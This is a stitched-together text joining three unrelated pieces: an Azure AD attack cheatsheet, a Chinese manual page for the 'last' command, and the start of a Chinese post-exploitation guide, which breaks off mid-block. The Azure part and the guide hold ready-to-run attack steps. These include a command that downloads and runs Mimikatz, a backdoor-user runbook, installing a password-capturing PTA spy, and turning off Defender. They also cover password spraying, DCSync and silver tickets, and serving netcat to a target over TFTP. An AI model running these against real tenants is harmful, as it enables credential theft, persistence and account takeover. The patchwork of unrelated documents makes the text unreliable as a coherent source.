PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
```
## Runbook Automation
### Create a Runbook
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects
# If the user is not part of an "Automation" group.
# Add him to a custom group , e.g: "Automation Admins"
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Create a Powershell Runbook
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Persistence via Automation accounts
* Create a new Automation Account
* "Create Azure Run As account": Yes
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
* Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
* Publish the runbook
* Add a webhook to the runbook
* Add the AzureAD module to the Automation account
* Update the Azure Automation Modules
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
* Eventually lose your access…
* Trigger the webhook with a post request to create the new user
```powershell
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Virtual Machine RunCommand
Requirements:
* `Microsoft.Compute/virtualMachines/runCommand/action`
```powershell
# Get Public IP of VM : query the network interface
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>
# Execute Powershell script on the VM
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
# Connect via WinRM
PS C:\Tools> $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password)
PS C:\Tools> $sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
PS C:\Tools> Enter-PSSession $sess
```
> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System
```powershell
# List available VMs
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName Name
----------------- ----
TESTRESOURCES Remote-Test
# Execute Powershell script on the VM
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
```
Against the whole subscription using MicroBurst.ps1
```powershell
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
## KeyVault Secrets
```powershell
# keyvault access token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
# connect
PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken
# query the vault and the secrets
PS Az> Get-AzKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText
```
## Pass The PRT
> MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).
```powershell
# Run mimikatz to obtain the PRT
PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
# Copy the PRT and KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect
# Copy the Context, ClearKey and DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>
```
```powershell
# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
eyJ0eXAiOiJKV1QiL...
```
The `<Signed JWT>` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf.
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:
```powershell
Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √
```
:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`.
## Pass The Certificate
```ps1
Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –Verbose
Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert
# Require the PRT, TenantID, Context and DerivedKey
& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId <TENANT-ID> --prt <PRT> --userName <Username>@<TENANT NAME>.onmicrosoft.com --hexCtx <HEX-CONTEXT> --hexDerivedKey <HEX-DERIVED-KEY>
# PFX saved with the name <Username>@<TENANT NAME>.onmicrosoft.com.pfx and password AzureADCert
```
Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine
https://github.com/morRubin/AzureADJoinedMachinePTC
```ps1
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10
python Main.py --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENANT NAME>.onmicrosoft.com.pfx --
certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"
```
## Intunes Administration
Requirements:
* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
3. Go to **Scripts** and click on **Add** for Windows 10.
4. Add a **Powershell script**
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
:warning: It will take up to one hour before you script is executed !
## Dynamic Group Membership
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
1. Open user's profile, click on **Manage**
2. Click on **Resend** invite and to get an invitation URL
3. Set the secondary email
```powershell
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
```
## Administrative Unit
> Administrative Unit can reset password of another user
```powershell
PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose
```
## Deployment Template
```powershell
PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
# Export
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password
```
## Application Proxy
```powershell
# Enumerate application that have Proxy
PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
```
## Application Endpoint
```powershell
# Enumerate possible endpoints for applications starting/ending with PREFIX
PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls}
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
```
## Conditional Access
* Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
* Bypassing conditional access by faking device compliance
```powershell
# AAD Internals - Making your device compliant
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
```
## Azure AD
With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.
1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
2. Change your browser URL to: https://azure.microsoft.com/
3. Pick the account from the active sessions
4. Select Azure Active Directory and enjoy!
### Azure AD vs Active Directory
| Active Directory | Azure AD |
|---|---|
| LDAP | REST API'S |
| NTLM/Kerberos | OAuth/SAML/OpenID |
| Structured directory (OU tree) | Flat structure |
| GPO | No GPO's |
| Super fine-tuned access controls | Predefined roles |
| Domain/forest | Tenant |
| Trusts | Guests |
* Password Hash Syncronization (PHS)
* Passwords from on-premise AD are sent to the cloud
* Use replication via a service account created by AD Connect
* Pass Through Authentication (PTA)
* Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
* Connect Windows Server AD to Azure AD using Federation Server (ADFS)
* Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
### Password Spray
> Default lockout policy of 10 failed attempts, locking out an account for 60 seconds
```powershell
git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
# UserList - UserList file filled with usernames one-per-line in the format "user@domain.com"
# Password - A single password that will be used to perform the password spray.
# OutFile - A file to output valid results to.
# Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
```
### Convert GUID to SID
The user's AAD id is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the AAD Id.
```powershell
GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
```
For example, the representation of `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011`
## Azure AD Connect
Check if Azure AD Connect is installed : `Get-ADSyncConnector`
* For **PHS**, we can extract the credentials
* For **PTA**, we can install the agent
* For **Federation**, we can extract the certificate from ADFS server using DA
```powershell
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials
# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose
```
1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule`
2. Install a PTA Backdoor
```powershell
PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
```
### Azure AD Connect - Password extraction
Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally
--- | --- | --- | --- | ---
ADSyncDecrypt | Yes | Yes | No | No
ADSyncGather | Yes | No | No | Yes
ADSyncQuery | No (network RPC calls only) | No | Yes | Yes
```powershell
git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
```
### Azure AD Connect - MSOL Account's password and DCSync
You can perform **DCSync** attack using the MSOL account.
Requirements:
* Compromise a server with Azure AD Connect service
* Access to ADSyncAdmins or local Administrators groups
Use the script **azuread_decrypt_msol.ps1** from @xpn to recover the decrypted password for the MSOL account:
* `azuread_decrypt_msol.ps1`: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545
* `azuread_decrypt_msol_v2.ps1`: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.
### Azure AD Connect - Seamless Single Sign On Silver Ticket
> Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)
> Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD.
:warning: The password of the AZUREADSSOACC account never changes.
Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure
1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`.
```powershell
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
```
2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`.
4. Create the Silver Ticket and inject it into Kerberos cache:
```powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```
5. Launch Mozilla Firefox
6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.
## References
* [Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
* [Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!](https://www.youtube.com/watch?v=51FSvndgddk&list=WL)
* [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94)
* [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
* [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html)
* [Bypassing conditional access by faking device compliance - September 06, 2020 - @DrAzureAD](https://o365blog.com/post/mdm/)
* [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md)
* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/)
* [An introduction to penetration testing Azure - Akimbocore](https://akimbocore.com/article/introduction-to-pentesting-azure/)
* [Running Powershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
* [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/)
* [Maintaining Azure Persistence via automation accounts - Netspi](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
* [Detecting an attacks on active directory with Azure - Smartspate](https://www.smartspate.com/detecting-an-attacks-on-active-directory-with-azure/)
* [Azure AD Overview](https://www.youtube.com/watch?v=l_pnNpdxj20)
* [Windows Azure Active Directory in plain English](https://www.youtube.com/watch?v=IcSATObaQZE)
* [Building Free Active Directory Lab in Azure - @kamran.bilgrami](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f)
* [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a)
* [Azure AD connect for RedTeam - @xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/)
* [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/)
* [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/)
* [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/)
* [Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56)
* [AZURE AD INTRODUCTION FOR RED TEAMERS - Written by Aymeric Palhière (bak) - 2020-04-20](https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html)
* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
* [The Art of the Device Code Phish - Bobby Cooke](https://0xboku.com/2021/07/12/ArtOfDeviceCodePhish.html)
* [AZURE AD cheatsheet - BlackWasp](https://hideandsec.sh/books/cheatsheets-82c/page/azure-ad)
|
sec-knowleage
|
.\"{{{}}}
.\"{{{ Title
.TH LAST,LASTB 1 "Jul 29, 1999" "" "Linux 系统管理员手册"
.\"}}}
.\"{{{ Name
.SH NAME
last, lastb \- 显示最近登录的用户列表
.\"}}}
.\"{{{ Synopsis
.SH 总览
.B last
.RB [ \-R ]
.RB [ \-\fInum\fP ]
.RB "[ \-\fBn\fP \fInum\fP ]"
.RB [ \-adiox ]
.RB "[ \-\fBf\fP \fIfile\fP ]"
.RI [ name... ]
.RI [ tty... ]
.br
.B lastb
.RB [ \-R ]
.RB [ \-\fInum\fP ]
.RB "[ \-\fBn\fP \fInum\fP ]"
.RB "[ \-\fBf\fP \fIfile\fP ]"
.RB [ \-adiox ]
.RI [ name... ]
.RI [ tty... ]
.\"}}}
.\"{{{ Description
.SH 描述
.B Last
向后检索 \fB/var/log/wtmp\fP 文件(也可以用 \fB\-f\fP 选项指定被检索的文件),并显示自这个文件创建以来所有登录(退出)系统的用户列表。在指定了用户名和终端名的情况下,\fBlast\fP 只显示符合这些参数的记录。终端的名字可以简写,因此 \fBlast 0\fP 等同于 \fBlast tty0\fP.
.PP
当 \fBlast\fP 捕捉到了\s-2SIGINT\s0 信号 (产生于中断键,通常是 control-C)或 \s-2SIGQUIT\s0 信号(产生于退出键,通常是 control-\e)时, \fBlast\fP 会显示它对文件已经检索了多少;在 \s-2SIGINT\s0 信号的情况下 \fBlast\fP 将终止运行。
.PP
每次系统重新启动时,虚用户 \fBreboot\fP 都会被记录到日志中。所以\fBlast reboot\fP 会列出自日志文件创建以来的所有重新启动的日志记录。.PP
\fBLastb\fP 缺省上列出 \fB/var/log/btmp\fP 文件中的日志记录,这个文件包含有所有不良的登录企图。除此之外,等同于 \fBlast\fP。
.\"}}}
.\"{{{ Options
.SH 选项
.IP
\fB\-\fP\fInum\fP指定 \fBlast\fP 要显示多少行。
.IP
"\fB\-n\fP \fInum\fP"等同 \fB\-\fP\fInum\fP.
.IP
\fB\-R\fP不显示主机名列。
.IP
\fB\-a\fP在最后一列显示主机名. 和下一个选项合用时很有用
.IP
\fB\-d\fP对于非本地的登录,Linux 不仅保存远程主机名而且保存IP地址(IP number)。这个选项可以将IP地址(IP number)转换为主机名。
.IP
\fB\-i\fP这个选项类似于显示远程主机 IP 地址(IP number)的 \fB-d\fP 选项,只不过它用数字和点符号显示IP数
.IP
\fB\-o\fP读取一个旧格式的 wtmp 文件 (用linux-libc5应用程序写入的).
.IP
\fB\-x\fP显示系统关机记录和运行级别改变的日志。
.\"}}}
.SH 注意
\fIwtmp\fP 和 \fIbtmp\fP 等文件也许找不到。只有这些文件存在时,系统才记录日志信息。这是一个本地配置的问题。 要想这些文件起作用,你可以用一条简单的命令 \fBtouch\fP(1) 创建它们(如, \fItouch /var/log/wtmp\fP).
.\"{{{ Files
.SH 相关文件
/var/log/wtmp.br/var/log/btmp
.\"}}}
.\"{{{ Author
.SH 作者
Miquel van Smoorenburg, miquels@cistron.nl.\
"}}}
.\"{{{ See also
.SH "另见"
.BR shutdown (8),.BR login (1),.BR init (8)
.\"}}}
.SH "[中文版维护人]"
.B Mirnshi <Mirnshi@263.net>
.SH "[中文版最新更新]"
.B 2001/07/15
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 后渗透
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* **[横向扩展](#横向扩展)**
* [基于IPC\$的横向](#基于IPC$的横向)
* [PTH/PTK/PTT](#pthptkptt)
* [文件传输](#文件传输)
* [web-servers](#web-servers)
* [FTP](#ftp)
* [Linux](#linux)
* [Win](#win)
* **[隐匿技术](#隐匿技术)**
* [流量隐藏技术](#流量隐藏技术)
* [端口转发](#端口转发)
* [隧道](#隧道)
* [代理](#代理)
* [C2隐藏技术](#c2隐藏技术)
* [CDN](#cdn)
* [域前置](#域前置)
* [重定向](#重定向)
* [侧信道](#侧信道)
* **[权限提升](#权限提升)**
* **[权限维持](#权限维持)**
* **[windows域](#windows域)**
* [域认证基础知识](#域认证基础知识)
* [域内信息收集](#域内信息收集)
* [Exchange](#exchange)
* [认证](#认证)
* [跨域](#跨域)
---
**后渗透案例**
- [记一次渗透测试](https://www.t00ls.net/thread-58322-1-2.html)
- [绕过不能执行大部分系统命令和微软杀毒](https://mp.weixin.qq.com/s/xTiudjr033c5urrPD9izAA)
- [记一次Shiro反序列化到远程桌面](https://mp.weixin.qq.com/s/lY-uTLIWHnqq7oNqT-PZeg)
---
## 横向扩展
### 基于IPC$的横向
- [IPC\$](../OS安全/Windows安全.md#ipc)
### PTH/PTK/PTT
- [PTH](../OS安全/Windows安全.md#pth)
- [PTT](../OS安全/Windows安全.md#ptt)
---
### 基于RPC的taskexec
**相关文章**
- [Advanced Windows Task Scheduler Playbook-Part.3 Lateral Movement](https://mp.weixin.qq.com/s/aHV_Q4oRhE23oaLMXlIq-w)
---
## 文件传输
**相关文章**
- [红队后渗透测试中的文件传输技巧](https://paper.seebug.org/834/)
### web-servers
**相关工具**
- [sc0tfree/updog](https://github.com/sc0tfree/updog) - 用于替代 Python 的 SimpleHTTPServer 的工具,自带401认证服务
```
pip3 install updog
updog --port 8888 --password test1234
```
- [projectdiscovery/simplehttpserver](https://github.com/projectdiscovery/simplehttpserver) - Go alternative of python SimpleHTTPServer
**本地服务**
以下部分内容来自 部分内容来自 部分内容来自项目 <sup>[[willurd/web-servers.md](https://gist.github.com/willurd/5720255#file-web-servers-md)]</sup>
在当前目录起个 8000 端口的 HTTP 服务
- Python 2.x
```bash
python -m SimpleHTTPServer 8000
```
- Python 3.x
```bash
python3 -m http.server 8000 --bind 0.0.0.0
```
- Twisted <sub><sup>(Python)</sup></sub>
```bash
twistd -n web -p 8000 --path .
```
or
```bash
python -c 'from twisted.web.server import Site; from twisted.web.static import File; from twisted.internet import reactor; reactor.listenTCP(8000, Site(File("."))); reactor.run()'
```
- Ruby
```bash
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start'
```
- Ruby 1.9.2+
```bash
ruby -run -ehttpd . -p8000
```
- adsf <sub><sup>(Ruby)</sup></sub>
```bash
gem install adsf # install dependency
adsf -p 8000
```
- Sinatra <sub><sup>(Ruby)</sup></sub>
```bash
gem install sinatra # install dependency
ruby -rsinatra -e'set :public_folder, "."; set :port, 8000'
```
- Perl
```bash
cpan HTTP::Server::Brick # install dependency
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>8000); $s->mount("/"=>{path=>"."}); $s->start'
```
- Plack <sub><sup>(Perl)</sup></sub>
```bash
cpan Plack # install dependency
plackup -MPlack::App::Directory -e 'Plack::App::Directory->new(root=>".");' -p 8000
```
- Mojolicious <sub><sup>(Perl)</sup></sub>
```bash
cpan Mojolicious::Lite # install dependency
perl -MMojolicious::Lite -MCwd -e 'app->static->paths->[0]=getcwd; app->start' daemon -l http://*:8000
```
- http-server <sub><sup>(Node.js)</sup></sub>
```bash
npm install -g http-server # install dependency
http-server -p 8000
```
- node-static <sub><sup>(Node.js)</sup></sub>
```bash
npm install -g node-static # install dependency
static -p 8000
```
- PHP <sub><sup>(>= 5.4)</sup></sub>
```bash
php -S 127.0.0.1:8000
```
- Erlang
```bash
erl -s inets -eval 'inets:start(httpd,[{server_name,"NAME"},{document_root, "."},{server_root, "."},{port, 8000},{mime_types,[{"html","text/html"},{"htm","text/html"},{"js","text/javascript"},{"css","text/css"},{"gif","image/gif"},{"jpg","image/jpeg"},{"jpeg","image/jpeg"},{"png","image/png"}]}]).'
```
- busybox httpd
```bash
busybox httpd -f -p 8000
```
- webfs
```bash
webfsd -F -p 8000
```
- IIS Express
```bash
C:\> "C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C:\MyWeb /port:8000
```
### FTP
**tftp**
基于 udp,端口为 69
- **攻击端起 tftp**
```bash
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
chown -R nobody /tftp
```
- **目标机**
```bash
tftp -i <kali-ip> GET nc.exe
```
**ftp**
- **攻击端**
```bash
apt-get install -y pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd username -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
